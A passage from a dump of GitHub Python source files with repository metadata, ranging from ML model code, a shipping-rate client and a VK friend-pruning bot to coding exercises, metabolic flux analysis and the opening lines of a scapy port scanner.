resnet_aggregation_type == 'ASP':\n cnn_out_dim = 512\n elif resnet_aggregation_type.endswith('VLAD'):\n cnn_out_dim = 512\n self.cnn_out_dim = cnn_out_dim\n\n if model in ('snn', 'snn-capsnet'):\n # BxC -> Bx1\n self.out: nn.Module = nn.Linear(cnn_out_dim, 1)\n\n self.train_accuracy = pl.metrics.Accuracy()\n self.val_accuracy = pl.metrics.Accuracy(compute_on_step=False)\n self.test_accuracy = pl.metrics.Accuracy(compute_on_step=False)\n\n @staticmethod\n def add_model_specific_args(parser: argparse.ArgumentParser):\n parser = argparse.ArgumentParser(parents=[parser], add_help=False)\n\n general = parser.add_argument_group('General')\n general.add_argument('--plot_roc', action='store_true', default=False,\n help='Plot ROC curve after testing.')\n\n training = parser.add_argument_group('Training/testing')\n training.add_argument('--specaugment', action='store_true', default=False,\n help='Augment training data using SpecAugment without time warping.')\n training.add_argument('--torch_augment', action='store_true', default=False,\n help='Augment training data using GPU accelerated augmentations.')\n\n model = parser.add_argument_group('Model')\n model.add_argument('--signal_transform', type=str, default='melspectrogram',\n choices=['melspectrogram', 'spectrogram', 'mfcc'],\n help='Waveform signal transform function to use.')\n model.add_argument('--n_mels', type=int, default=40, help='# of mels to use in the MelSpectrograms.')\n model.add_argument('--n_fft', type=int, default=512, help='size of FFT used in the MelSpectrograms.')\n\n model.add_argument('--resnet_type', type=str.lower, default='thin',\n help='Which ResNet to use: thin, fast.')\n model.add_argument('--resnet_n_out', type=int, default=512)\n model.add_argument('--resnet_aggregation_type', type=str, default='SAP',\n choices=['SAP', 'ASP', 'NetVLAD', 'GhostVLAD'],\n help='The aggregation method used in ResNet.')\n\n return parser\n\n def configure_optimizers(self):\n optimizer = torch.optim.AdamW(self.parameters(), lr=self.hparams.get('learning_rate', 1e-3),\n weight_decay=1e-2)\n scheduler = torch.optim.lr_scheduler.OneCycleLR(optimizer, max_lr=self.hparams.get('max_learning_rate', 0.1),\n epochs=self.max_epochs,\n steps_per_epoch=len(self.train_dataloader()))\n return [optimizer], [{'scheduler': scheduler, 'monitor': 'val_loss', 'interval': 'step'}]\n\n def validation_epoch_end(self, val_step_outputs: List[List[torch.Tensor]]):\n self.log('val_acc_epoch', self.val_accuracy.compute())\n\n try:\n metrics = compute_evaluation_metrics(val_step_outputs, prefix='val')\n self.log_dict(metrics)\n except ValueError:\n # Will fail if labels are all the same value, which tends to happen with auto_lr_finder.\n # So we just ignore these.\n pass\n\n def test_epoch_end(self, test_step_outputs: List[List[torch.Tensor]]):\n self.log('test_acc_epoch', self.test_accuracy.compute())\n\n # Avoid ValueError: No negative samples in targets, false positive value should be meaningless\n if self.trainer.fast_dev_run:\n return\n\n metrics = compute_evaluation_metrics(test_step_outputs, plot=self._plot_roc, prefix='test')\n self.log_dict(metrics)\n","repo_name":"vjoki/fsl-experi","sub_path":"snn/librispeech/model/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":7902,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"2"} +{"seq_id":"9272212405","text":"#!/usr/bin/python3\n\nimport logging\nimport time\n\nimport accounts\nimport config\nimport scriptlib\n\ndef main(a, args):\n days = config.get('delfriends.days_till_unfriend', 'i')\n prepare = 'prepare' in args\n if prepare:\n f = open(accounts.getFile('_delfriends.txt'), 'w')\n else:\n try:\n f = set(map(int, open(accounts.getFile('_delfriends.txt')).read().split()))\n except FileNotFoundError:\n logging.info('_delfriends.txt not found')\n return\n friends = scriptlib.getFriends(a)\n now = time.time()\n to_del = []\n cnt = 0\n\n def checkHistory(req, resp):\n nonlocal cnt\n if resp['count'] == 0 or now - resp['items'][0]['date'] > 3600 * 24 * days:\n if prepare:\n f.write(str(req['user_id']) + '\\n')\n else:\n to_del.append(str(req['user_id']))\n logging.info('Found ' + str(req['user_id']))\n cnt += 1\n\n for i in friends:\n if not prepare and i not in f:\n continue\n a.messages.getHistory.delayed(count=1, user_id=i).callback(checkHistory)\n a.sync()\n if prepare:\n f.close()\n else:\n scriptlib.createFriendController().appendNoadd(to_del)\n logging.info('Total: ' + str(cnt))\n","repo_name":"dinamsky/PyVKBot","sub_path":"scripts/delfriends.py","file_name":"delfriends.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"11400284932","text":"from datetime import datetime\n\nfrom django.conf import settings\nfrom zeep import Client\nimport rollbar\n\nfrom kxwheels.apps.shipping.models import Product\nfrom kxwheels.apps.shipping.modules.base import BaseShipper\nfrom kxwheels.apps.shipping.exceptions import ServiceUnavailableException, ErroneousResponseException\n\n\nclass Shipper(BaseShipper):\n \"\"\"docstring for Shipper\"\"\"\n\n def __init__(self, service=None, is_saturday_delivery=False,\n collect_shipper_number=None, is_residential=False,\n is_nsr=False, **kwargs):\n self.service = service\n self.is_saturday_delivery = is_saturday_delivery\n self.collect_shipper_number = collect_shipper_number\n self.is_residential = is_residential\n self.is_nsr = is_nsr\n super(Shipper, self).__init__(**kwargs)\n\n def prepare_context(self):\n pass\n\n def prepare_request(self):\n request = {\n 'user_id': self.config.USER,\n 'password': self.config.PASSWORD,\n 'shipment': {\n 'courier': 'L',\n 'delivery_address_line_1': self.buyer.address,\n 'delivery_city': self.buyer.city,\n 'delivery_country': self.buyer.country,\n 'delivery_name': self.buyer.name,\n 'delivery_postal_code': self.buyer.postal_code,\n 'delivery_province': self.buyer.province,\n 'delivery_residential': 'TRUE' if self.is_residential else 'FALSE',\n\n 'dimension_unit': 'I', # Imperial\n\n 'pickup_address_line_1': self.seller.address,\n 'pickup_city': self.seller.city,\n 'pickup_name': self.seller.name,\n 'pickup_postal_code': self.seller.postal_code,\n 'pickup_province': self.seller.province,\n\n 'reported_weight_unit': 'L', # Pounds\n 'service_type': self.service or 'DD',\n 'shipper_num': self.config.ACCOUNT,\n 'shipping_date': datetime.now().strftime(\"%Y%m%d\"),\n\n 'user_id': self.config.USER,\n\n 'shipment_info_num': [{\n 'name': 'DECLARED_VALUE',\n 'value': self.parcel.total if self.parcel.total < 2499 else 2499, # Value of order, must be less than 2499\n }],\n\n 'shipment_info_str': [\n {\n 'name': 'DANGEROUS_GOODS',\n 'value': 'TRUE' if any([pi.is_dangerous for pi in self.parcel.items]) else 'FALSE',\n },\n {\n 'name': 'FRAGILE',\n 'value': 'TRUE' if self.parcel.is_fragile else 'FALSE',\n },\n {\n 'name': 'NSR',\n 'value': 'TRUE' if self.is_nsr else 'FALSE',\n },\n {\n 'name': 'SAT_DELIVERY',\n 'value': 'TRUE' if self.is_saturday_delivery else 'FALSE',\n }\n ],\n\n 'packages': []\n }\n }\n\n packages = []\n for parcel_item in self.parcel.items:\n packages.append({\n 'package_info_num': [\n {\n 'name': 'LENGTH',\n 'value': parcel_item.length[0],\n },\n {\n 'name': 'WIDTH',\n 'value': parcel_item.width[0],\n },\n {\n 'name': 'HEIGHT',\n 'value': parcel_item.height[0],\n },\n ],\n 'package_info_str': [\n {\n 'name': 'NON_STANDARD',\n 'value': 'FALSE',\n },\n {\n 'name': 'SPECIAL_HANDLING',\n 'value': 'FALSE',\n }\n ],\n 'reported_weight': parcel_item.weight[0]\n })\n\n request['shipment']['packages'] = packages\n\n if self.collect_shipper_number:\n request['shipment']['collect_shipper_num'] = self.collect_shipper_number\n\n if self.buyer.address_line_2:\n request['shipment']['delivery_address_line_2'] = self.buyer.address_line_2\n\n self.request = request\n return request\n\n def fetch_response(self):\n if not self.validate():\n return False\n\n if settings.DEBUG:\n _shipper_endpoint = self.config.TEST_URL\n else:\n _shipper_endpoint = self.config.LIVE_URL\n\n if self.response is None:\n client = Client(_shipper_endpoint)\n shipment = self.prepare_request()\n\n try:\n result = client.service.getRates(shipment)\n except Exception as e:\n raise e\n\n self.response = result\n\n def parse_response(self):\n self.fetch_response()\n\n # Error handling\n errors = self.response.getRatesResult[0].errors\n\n if not errors:\n return self.response\n\n unavailable_error = 'The service is temporary not available.'\n if unavailable_error in errors:\n raise ServiceUnavailableException(unavailable_error)\n else:\n raise ErroneousResponseException(', '.join(errors))\n\n def products(self):\n products = []\n\n try:\n response = self.parse_response()\n except Exception as e:\n rollbar.report_exc_info()\n raise e\n\n if response is None:\n return tuple()\n\n if response.error is not None:\n return tuple()\n\n for rate in response.getRatesResult:\n shipment = rate.shipment\n shipping_date = datetime.strptime(shipment.shipping_date, '%Y%m%d')\n\n delivery_date = None\n if shipment.estimated_delivery_date:\n delivery_date = datetime.strptime(shipment.estimated_delivery_date, '%Y%m%d')\n\n products.append(Product(\n code=shipment.service_type,\n name=\"%s Ground\" % self.config.NAME,\n rate=self._get_total_charge(),\n shipping_date=shipping_date.strftime('%Y-%m-%d'),\n delivery_date=delivery_date.strftime('%Y-%m-%d') if delivery_date else None,\n ))\n\n return products\n\n def _get_base_charge(self):\n shipment_info = self.response.getRatesResult[0].shipment.shipment_info_num\n charge = [info['value'] for info in shipment_info\n if info['name'] == \"BASE_CHARGE\"]\n if charge:\n return charge[0]\n return \"0\"\n\n def _get_freight_charge(self):\n shipment = self.response.getRatesResult[0].shipment\n return shipment.freight_charge\n\n def _get_fuel_surcharge(self):\n shipment = self.response.getRatesResult[0].shipment\n return shipment.fuel_surcharge\n\n def _get_add_ser_charge(self):\n shipment_info = self.response.getRatesResult[0].shipment.shipment_info_num\n charge = [info['value'] for info in shipment_info\n if info['name'] == \"ADD_SER_CHARGE\"]\n if charge:\n return charge[0]\n return \"0\"\n\n def _get_tax_charge_1(self):\n shipment = self.response.getRatesResult[0].shipment\n return shipment.tax_charge_1\n\n def _get_tax_charge_2(self):\n shipment = self.response.getRatesResult[0].shipment\n return shipment.tax_charge_2\n\n def _get_total_charge(self):\n shipment_info = self.response.getRatesResult[0].shipment.shipment_info_num\n charge = [info['value'] for info in shipment_info\n if info['name'] == \"TOTAL_CHARGE\"]\n if charge:\n return charge[0]\n return \"0\"\n","repo_name":"ehsansiddiqui/kx_wheels","sub_path":"kxwheels/apps/shipping/modules/loomis/shipper.py","file_name":"shipper.py","file_ext":"py","file_size_in_byte":7951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"24645904208","text":"import pandas as pd\nimport math\nimport numpy as np\n\n# read data sets\ndef dataset_read(train_path, test_path):\n # Load training data and assign column names\n train_path, test_path = \"http://archive.ics.uci.edu/ml/machine-learning-databases/monks-problems/monks-1.train\",\"http://archive.ics.uci.edu/ml/machine-learning-databases/monks-problems/monks-1.test\"\n train = pd.read_table(train_path,\n sep=\" \", header=None)\n train = train.drop([0, 8], 1)\n col_names = [\"class\", \"a1\", \"a2\", \"a3\", \"a4\", \"a5\", \"a6\"]\n train.columns = col_names\n\n test = pd.read_table(test_path,\n sep=\" \", header=None)\n test = test.drop([0, 8], 1)\n test.columns = col_names\n\n ## Convert the columns into category\n for i in range(len(col_names)):\n train[col_names[i]] = train[col_names[i]].astype(\"category\")\n test[col_names[i]] = test[col_names[i]].astype(\"category\")\n return train,test","repo_name":"Krunal91/Decision_Tree_Python","sub_path":"dataset_details.py","file_name":"dataset_details.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"171062856","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\nimport numpy as np\nimport pandas as pd\n\n\ndef test_train_test_target_var(df_train, df_test, y_var_name):\n assert y_var_name not in list(df_test)\n assert df_test.shape[1] + 1 == df_train.shape[1]\n\n\ndef test_dfgetxy(X, y, y_name):\n assert y_name not in list(X)\n assert y.name == \"Sales\"\n\n\ndef test_split_data_non_ts(\n train_idx_end,\n val_idx_end,\n test_idx_end,\n df_val,\n df_test,\n df_holdout,\n):\n \"\"\"\n Usage\n -----\n d = split_data(df_train_full, df_holdout)\n train_index, val_index, test_index = d[\"indexes\"]\n df_train, df_val, df_test = d[\"splits\"]\n test_split_data_non_ts(\n max(train_index),\n max(val_index),\n max(test_index),\n df_val,\n df_test,\n df_holdout,\n )\n \"\"\"\n # Check length of validation split\n assert val_idx_end - train_idx_end == len(df_holdout)\n # Check length of testing split\n assert test_idx_end - val_idx_end == len(df_holdout)\n assert len(df_val) == len(df_test)\n\n\ndef test_split_data(\n train_train_index,\n train_val_index,\n train_test_index,\n n_holdout,\n):\n assert len(train_val_index) == len(train_test_index) == n_holdout\n # Check boundary between validation and testing splits\n assert train_test_index.min().strftime(\"%Y-%m-%d\") == (\n train_val_index.max() + pd.DateOffset(days=1)\n ).strftime(\"%Y-%m-%d\")\n # Check boundary between training and validation splits\n assert train_val_index.min().strftime(\"%Y-%m-%d\") == (\n train_train_index.max() + pd.DateOffset(days=1)\n ).strftime(\"%Y-%m-%d\")\n\n\ndef test_fillna(X_train, X_val, X_test, continuous_vars_missing_vals):\n assert (X_train[continuous_vars_missing_vals].isna().sum().tolist()) == [\n 0\n ] * len(continuous_vars_missing_vals)\n assert (X_val[continuous_vars_missing_vals].isna().sum().tolist()) == [\n 0\n ] * len(continuous_vars_missing_vals)\n assert (X_test[continuous_vars_missing_vals].isna().sum().tolist()) == [\n 0\n ] * len(continuous_vars_missing_vals)\n for c in continuous_vars_missing_vals:\n assert c + \"_na\" in list(X_train)\n assert c + \"_na\" in list(X_val)\n assert c + \"_na\" in list(X_test)\n\n\ndef test_target_encode_categorical_features(X_train, X_val, X_test):\n assert not list(X_train.select_dtypes(include=\"object\"))\n assert not list(X_val.select_dtypes(include=\"object\"))\n assert not list(X_test.select_dtypes(include=\"object\"))\n\n\ndef test_sampled_data_sizes(\n train_index,\n val_index,\n test_index,\n val_sample_size,\n index,\n df_train,\n df_val,\n df_test,\n):\n assert np.array_equal(np.concatenate((train_index, val_index)), index)\n assert len(test_index) == val_sample_size\n assert len(df_train) == val_sample_size\n assert len(df_val) == len(df_test) == val_sample_size\n\n\ndef test_log1p(s_s):\n for s in s_s:\n assert s.min() >= 1\n","repo_name":"Challa1201/rossmann-sales-forecast","sub_path":"src/test_helpers.py","file_name":"test_helpers.py","file_ext":"py","file_size_in_byte":2945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"34029963647","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 26 17:10:45 2022\n@FileName: 1302.py\n@author: YUNJUSEOK\n@Link:https://www.acmicpc.net/problem/1302\n\"\"\"\n\nN = int( input() );\nfrom collections import defaultdict;\nditt = defaultdict( int );\nfor i in range( N ):\n inp = input();\n ditt[ inp ] += 1;\n \n\nMx = max( ditt.values() );\nlst = [];\nfor key in ditt:\n if( ditt[ key ] == Mx ):\n lst.append( key );\n\n\nprint( sorted( lst )[ 0 ] )\n\n ","repo_name":"AMIVAYUN/codeTestPrac","sub_path":"BaekJoon/1302.py","file_name":"1302.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"43476342587","text":"import numpy as np\nimport cv2\nimport sys\nimport keras\nfrom keras.models import Model\nfrom keras.models import load_model\n\n\n# Load the model and background image\nmodel = load_model('models/transpose_seg/deconv_bnoptimized_munet.h5', compile=False)\n\n# Load background image\nbgd = cv2.resize(cv2.imread(sys.argv[1]), (513,513))\nbgd = cv2.cvtColor(bgd, cv2.COLOR_BGR2RGB)/255.0\n\ncap = cv2.VideoCapture(0)\n\nwhile(True):\n # Capture frame-by-frame\n ret, frame = cap.read()\n \n if ret: \n # Preprocess\n img = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n simg = cv2.resize(img,(128,128),interpolation=cv2.INTER_AREA)\n simg = simg.reshape((1,128,128,3))/255.0\n \n # Predict\n out=model.predict(simg)\n msk=np.float32((out>0.5)).reshape((128,128,1))\n\n # Post-process\n msk=cv2.GaussianBlur(msk,(5,5),1)\n img=cv2.resize(img, (513,513))/255.0\n msk=cv2.resize(msk, (513,513)).reshape((513,513,1))\n \n # Alpha blending\n frame = (img * msk) + (bgd * (1 - msk))\n frame = np.uint8(frame*255.0)\n\n # Display the resulting frame\n cv2.imshow('portrait segmentation',frame[...,::-1])\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# When everything done, release the capture\ncap.release()\ncv2.destroyAllWindows()\n\n# Sample run: python webcam.py test/beach.jpg\n","repo_name":"anilsathyan7/Portrait-Segmentation","sub_path":"webcam.py","file_name":"webcam.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":614,"dataset":"github-code","pt":"2"} +{"seq_id":"74396422445","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.home),\n path('register', views.reg,name='register'),\n path('login', views.log,name='login'),\n path('logout', views.logout, name='logout'),\n path('video_upload', views.video_upload, name='video_upload'),\n path('add_category', views.add_category, name='category_upload'),\n path('add_tag', views.add_tag, name='tag_upload'),\n # path('success', views.success, name='success'),\n path('details//', views.details, name='details'),\n # path('search', views.search, name='search'),\n\n]\n","repo_name":"hameeskt/Vidgyor","sub_path":"home/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"10679437562","text":"from sys import stdin\r\n\r\n\r\ndef main():\r\n input = stdin.readline\r\n n = int(input())\r\n p = [int(i) for i in input().split()]\r\n q = [0] * n\r\n for i, j in enumerate(p):\r\n q[j - 1] = i + 1\r\n print(*q)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"yu2799/AtCoder","sub_path":"meetup/220221/217C.py","file_name":"217C.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"7753346938","text":"from datetime import datetime\n\nimport graphene\nimport grpc\n\nimport calendar_pb2\nimport calendar_pb2_grpc\n\n\nclass Participant(graphene.ObjectType):\n id = graphene.String()\n\n\nclass Event(graphene.ObjectType):\n id = graphene.String()\n timestamp = graphene.Float()\n participants = graphene.List(Participant)\n\n\nclass CalendarQuery(graphene.ObjectType):\n hello = graphene.String(name=graphene.String())\n timestamp = graphene.Float()\n events = graphene.List(Event, user_id=graphene.String())\n\n def resolve_events(self, info, user_id):\n channel = grpc.insecure_channel('localhost:50051')\n stub = calendar_pb2_grpc.CalendarStub(channel)\n all_events = stub.GetEvents(calendar_pb2.User(id=user_id))\n return [{\n \"id\": e.id,\n \"timestamp\": e.timestamp,\n \"participants\": [{\"id\": p_id} for p_id in e.participant_ids]}\n for e in all_events]\n\n def resolve_hello(self, info, name):\n return \"Hello \" + name\n\n def resolve_timestamp(self, info):\n return datetime.now().timestamp()\n","repo_name":"psurkov/PythonBackend","sub_path":"app/src/main/graphene_query/calendar.py","file_name":"calendar.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"34759177001","text":"def main():\n percentage = convert(input(\"Fraction: \"))\n print(gauge(percentage))\n\n\ndef convert(fraction):\n while True:\n try:\n x, y = fraction.split(\"/\")\n x = int(x)\n y = int(y)\n if x > y:\n raise ValueError\n else:\n tank = round((x / y) * 100)\n return tank\n except(ValueError, TypeError, ZeroDivisionError):\n fraction = input(\"Fraction: \")\n pass\n\n\ndef gauge(percentage):\n if percentage >= 99:\n return(\"F\")\n elif percentage <= 1:\n return(\"E\")\n else:\n return(f\"{percentage}%\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AliHariti/CS50P","sub_path":"test_fuel/fuel.py","file_name":"fuel.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"39001296242","text":"import argparse\nfrom pprint import pprint\n\nimport numpy as np\nimport torch\nimport yaml\nfrom torchtext import data\nfrom tqdm import tqdm\n\nfrom models.basic import sequence_cross_entropy\nfrom .data import PTBChar, PTBCharTextField\nfrom .model import PTBModel\n\n\ndef main():\n parser = argparse.ArgumentParser()\n parser.add_argument('--data', default='data/ptb_char')\n parser.add_argument('--model', required=True)\n parser.add_argument('--config', required=True)\n parser.add_argument('--gpu', default=-1, type=int)\n args = parser.parse_args()\n\n with open(args.config, 'r') as f:\n config = yaml.load(f)\n pprint(config)\n\n text_field = PTBCharTextField()\n train_dataset, test_dataset = PTBChar.splits(\n path=args.data, validation=None, text_field=text_field)\n text_field.build_vocab(train_dataset)\n\n test_loader = data.BPTTIterator(\n dataset=test_dataset, batch_size=1, bptt_len=2000, train=False,\n device=args.gpu)\n\n model = PTBModel(num_chars=len(text_field.vocab), **config['model'])\n model.load_state_dict(torch.load(args.model))\n print(model)\n num_params = sum(p.numel() for p in model.parameters())\n print(f'Total parameters: {num_params}')\n\n if args.gpu > -1:\n model.cuda(args.gpu)\n\n model.eval()\n\n state = hyper_state = None\n test_bpc_sum = test_bpc_denom = 0\n for test_batch in tqdm(test_loader):\n test_inputs = test_batch.text\n test_targets = test_batch.target\n test_logits, state, hyper_state = model(\n inputs=test_inputs, state=state, hyper_state=hyper_state)\n test_loss = sequence_cross_entropy(\n logits=test_logits, targets=test_targets)\n test_bpc_sum += (test_loss.data[0] / np.log(2)) * test_inputs.size(0)\n test_bpc_denom += test_inputs.size(0)\n test_bpc = test_bpc_sum / test_bpc_denom\n\n print(f'Test BPC = {test_bpc:.6f}')\n\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"jihunchoi/hyperlstm","sub_path":"ptb_char/evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":1946,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"2"} +{"seq_id":"73466595566","text":"import sys\nsys.stdin = open(\"test.txt\", \"r\")\ninput = lambda : sys.stdin.readline().rstrip()\nfrom collections import deque\n\nn = int(input())\n_map = [ [ 0 for i in range(n) ] for i in range(n) ]\n_map[0][0] = -1\n\nfor _ in range(int(input())):\n x, y = map(int, input().split())\n _map[x-1][y-1] = 1\n\ncomm = {}\nfor _ in range(int(input())):\n t, d = input().split()\n comm[int(t)] = 1 if d == 'D' else -1\n\nmove = [(0, 1), (1, 0), (0, -1), (-1, 0)]\nm = 0\ntime = 0\nq = deque()\nq.append((0, 0))\nwhile True:\n time += 1\n tail = q[0]\n head = q[-1]\n next_pos = (head[0] + move[m][0], head[1] + move[m][1])\n \n if 0 <= next_pos[0] < n and 0 <= next_pos[1] < n:\n if _map[next_pos[0]][next_pos[1]] == -1: break;\n if _map[next_pos[0]][next_pos[1]] == 0:\n q.popleft()\n _map[tail[0]][tail[1]] = 0\n _map[next_pos[0]][next_pos[1]] = -1\n q.append(next_pos)\n\n else: break;\n\n if comm.setdefault(time, 0):\n m = (m+comm[time])%4\n print('----------------------', time, '초')\n for row in _map:\n for item in row:\n print(item, end=' ')\n print()\n\nprint(time)","repo_name":"kdogyun/algorithm_study","sub_path":"3190.뱀.py","file_name":"3190.뱀.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"9819097469","text":"from datetime import datetime\nfrom os.path import join\nfrom os import listdir\n\nimport numpy as np\nfrom dill import load\nfrom pandas import read_csv, concat, Series\nfrom gc import collect\nfrom re import search\nfrom math import isnan\n\nfrom cobra.sampling import OptGPSampler\nfrom cobra.flux_analysis.room import room\nfrom cobra.flux_analysis import pfba\nfrom cobra import Solution\n\n\n'''\nSampling\n'''\n\n\ndef sampling(model, media_file, change_media_bounds: dict = None, change_internal_bounds: dict = None,\n n_samples: int = 1000, processes: int = 4):\n # if number in a change_media_bounds' value is a string, it will be multiplied by the value in the medium\n media = read_csv(media_file, index_col='ID')\n sampling_results = {}\n with model as model_test:\n for medium in media.columns:\n print('\\n', datetime.now().strftime('%H:%M:%S'), ' | ', 'MEDIUM: ', medium)\n model_test.medium = media[medium].to_dict()\n if change_media_bounds is not None:\n print(datetime.now().strftime('%H:%M:%S'), ' | ', '- Changing media bounds..')\n new_media = model_test.medium.copy()\n for cpd_in, val in change_media_bounds[medium].items():\n if isinstance(val, str): new_media[cpd_in] = float(val) * new_media[cpd_in]\n else: new_media[cpd_in] = val\n model_test.medium = new_media.copy()\n if change_internal_bounds is not None:\n print(datetime.now().strftime('%H:%M:%S'), ' | ', '- Changing internal bounds..')\n for rxn, rxn_bounds in change_internal_bounds.values():\n model_test.reactions.get_by_id(rxn).bounds = rxn_bounds\n print(datetime.now().strftime('%H:%M:%S'), ' | ', 'Initializing sampler...')\n sampler = OptGPSampler(model, processes=processes, thinning=100)\n # sampler = ACHRSampler(model, thinning=100)\n print(datetime.now().strftime('%H:%M:%S'), ' | ', 'Sampling...')\n try:\n fluxes_samples = sampler.sample(n_samples)\n except RuntimeError:\n sampling_results[medium] = None\n print('Did not work (Can not escape sampling region, model seems numerically unstable).')\n else:\n print(datetime.now().strftime('%H:%M:%S'), ' | ', 'Getting validation status...')\n val_status = sampler.validate(fluxes_samples)\n print(datetime.now().strftime('%H:%M:%S'), ' | ', 'Done!')\n print(datetime.now().strftime('%H:%M:%S'), ' | ', 'Filtering invalid samples...')\n sampling_results[medium] = fluxes_samples[val_status == 'v']\n print(datetime.now().strftime('%H:%M:%S'), ' | ', 'Done!')\n return sampling_results\n\n\n'''\nFBA\n'''\n\n\ndef fba_evaluations(model, fva_results, fba_result, change_media_bounds: dict = None, change_internal_bounds: dict = None):\n # if number in a change_media_bounds' value is a string, it will be multiplied by the value in the medium\n with model as model_test:\n if change_media_bounds is not None:\n print('- Changing media bounds..')\n new_media = model_test.medium.copy()\n for cpd_in, val in change_media_bounds.items():\n if isinstance(val, str): new_media[cpd_in] = float(val) * new_media[cpd_in]\n else: new_media[cpd_in] = val\n model_test.medium = new_media.copy()\n count = 0\n if change_internal_bounds is not None:\n print('- Changing internal bounds..')\n new_change_internal_bounds = {}\n for rxn, rxn_bounds in change_internal_bounds.items():\n if isnan(rxn_bounds[0]) and isnan(rxn_bounds[1]):\n m_val = min(abs(fva_results.loc[rxn, :]))\n rxn_bounds[0] = -m_val\n rxn_bounds[1] = m_val\n elif isnan(rxn_bounds[0]):\n rxn_bounds[0] = fva_results.loc[rxn, 'maximum']\n elif isnan(rxn_bounds[1]):\n rxn_bounds[1] = fva_results.loc[rxn, 'minimum']\n else:\n count += 1\n pass\n new_change_internal_bounds[rxn] = rxn_bounds\n for rxn, rxn_bounds in new_change_internal_bounds.items():\n model_test.reactions.get_by_id(rxn).bounds = rxn_bounds\n print(datetime.now().strftime('-Starting FBA...'))\n if count == 0:\n try:\n #solFBA = model_test.optimize(objective_sense='maximize')\n solFBA = pfba(model_test)\n except:\n print('Infeasible')\n solFBA = Series(np.zeros(11894).tolist())\n else:\n solFBA = solFBA.fluxes\n else:\n # ROOM\n solFBA = room(model_test, solution=fba_result, linear=True)\n solFBA = solFBA.fluxes\n print('-Done!')\n return solFBA#.fluxes\n\n\ndef helper_fba_condition_normalmatched(condition, media_file, medium, models_use, models_dir,\n individuals, fba_results=None, fva_results=None):\n predicted_fluxes = None\n models_names = []\n for indiv in individuals:\n print('\\n', indiv)\n # Get files that starts with 02_\n indiv_samples = [file for file in listdir(join(models_dir, indiv)) if file.startswith('02_')]\n for samp in indiv_samples:\n samp_name = samp.replace('.obj', '').replace('02_', '')\n print('- ', samp_name)\n with open(join(models_dir, indiv, samp), 'rb') as dump_file:\n temp_dump = load(dump_file)\n for cell_type, model in temp_dump.items():\n model_name = '_'.join((indiv, samp_name, cell_type))\n if model_name in models_use:\n print('--', cell_type)\n # Get SMDB medium\n media = read_csv(media_file, index_col='ID')\n model.medium = media[medium].to_dict()\n # Get objective\n # ---\n #fba_orignal_fluxes = fba_results.loc[:, model_name]\n #if cell_type in ['Proliferative CD4 Tcells', 'Proliferative CD8 Tcells']:\n # model.objective = {model.reactions.MAR13082: 1}\n # fba_orig_value = fba_orignal_fluxes['MAR13082']\n #else:\n # model.objective = {model.reactions.MAR13082: 1, model.reactions.MAR06916: 1}\n # fba_orig_value = fba_orignal_fluxes['MAR13082'] + fba_orignal_fluxes['MAR06916']\n #fba_result = Solution(fba_orig_value, 'optimal', fluxes=fba_orignal_fluxes)\n model.objective = {model.reactions.MAR13082: 1}\n # ---\n # Run FBA\n #fluxes = fba_evaluations(model, fva_results['_'.join((indiv, samp_name, cell_type))],\n # fba_results.loc[:,'_'.join((indiv, samp_name, cell_type))],\n # change_media_bounds=condition['change_media_bounds'],\n # change_internal_bounds=condition['change_internal_bounds'])\n fluxes = fba_evaluations(model, None, None, #fba_result,\n change_media_bounds=condition['change_media_bounds'],\n change_internal_bounds=condition['change_internal_bounds'])\n # Save predicted fluxes\n models_names.append(model_name)\n if predicted_fluxes is None:\n predicted_fluxes = concat([fluxes], axis=1)\n else:\n predicted_fluxes = concat([predicted_fluxes, fluxes], axis=1)\n del temp_dump\n collect()\n predicted_fluxes.columns = models_names\n return predicted_fluxes\n","repo_name":"saracardoso/Metabolic_Models","sub_path":"GENERAL/code/python/Validation.py","file_name":"Validation.py","file_ext":"py","file_size_in_byte":8177,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"17092908756","text":"\n#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Warning: This script has to be executed with sudo.\n\n# Pacheco Franco Jesús Enrique\n\nimport argparse\nfrom scapy.all import * # scapy version 2 +\n\ndef arg_parse():\n\n\tparser = argparse.ArgumentParser(description=\"Artisan Port Scanner\",\n\t\t\t\t\t\t\t\t\t\tepilog=\"Developed by Jesús Enrique Pacheco Franco 